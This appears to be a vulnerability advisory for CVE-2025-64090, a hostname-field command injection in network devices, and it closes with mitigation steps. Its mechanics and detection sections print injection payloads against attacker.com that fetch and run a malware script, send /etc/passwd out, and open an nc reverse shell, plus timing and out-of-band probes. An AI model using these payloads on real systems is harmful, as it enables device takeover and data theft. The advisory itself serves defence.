CVE-2025-64090: Command Injection via Device Hostname Field Enables Full System Compromise

Authenticated attackers can execute arbitrary OS commands by injecting shell metacharacters into the device hostname field. CVSS 10.0. A common vulnerability class in network devices and embedded systems that consistently yields critical impact.

What Is CVE-2025-64090?

CVE-2025-64090 is a command injection vulnerability where the device hostname configuration field is passed unsanitized to an underlying shell command. By inserting shell metacharacters (;, |, `, $()) into the hostname value, authenticated attackers can break out of the intended command context and execute arbitrary OS commands with the privileges of the device's management process — typically root.

This vulnerability class is endemic in network devices, IoT hardware, routers, firewalls, and embedded Linux systems where web-based management interfaces build shell commands from user-supplied configuration values without proper sanitization.

Command Injection Mechanics

# Vulnerable device sets hostname using shell command:
# system("hostname " + user_input)

# Attacker submits hostname:
newhost; wget http://attacker.com/malware.sh -O /tmp/m.sh; sh /tmp/m.sh

# This executes as:
hostname newhost; wget http://attacker.com/malware.sh -O /tmp/m.sh; sh /tmp/m.sh

# Other injection patterns:
# Backtick execution:
`curl http://attacker.com/$(cat /etc/passwd | base64)`

# Subshell:
$(id > /var/www/html/pwned.txt)

# Pipe:
validhost | nc attacker.com 4444 -e /bin/sh

Affected Versions

Consult the vendor advisory for specific hardware models and firmware versions. Network devices with web-based management interfaces that expose hostname configuration are the primary risk surface.

Detection Methods

Testing for Hostname Injection

# Manual test: submit hostname with command injection payload
# Use time-delay to confirm blind injection
POST /admin/network/hostname
hostname=test%3Bsleep%205

# If response delays ~5 seconds: vulnerable

# Out-of-band confirmation:
hostname=test%3Bnslookup+attacker.burpcollaborator.net

Mitigation Steps

1. Apply vendor firmware update immediately.
2. Input validation: Hostname fields should only accept alphanumeric characters and hyphens (RFC 952/1123 compliant).
3. Use safe APIs: Replace shell command construction with system calls that accept argument arrays (no shell interpolation).
4. Restrict management interface: Limit access to management UI to trusted IP ranges via firewall rules.
5. Change default credentials: Ensure all management accounts use strong, unique passwords.
6. Network segmentation: Isolate management interfaces from user-accessible networks.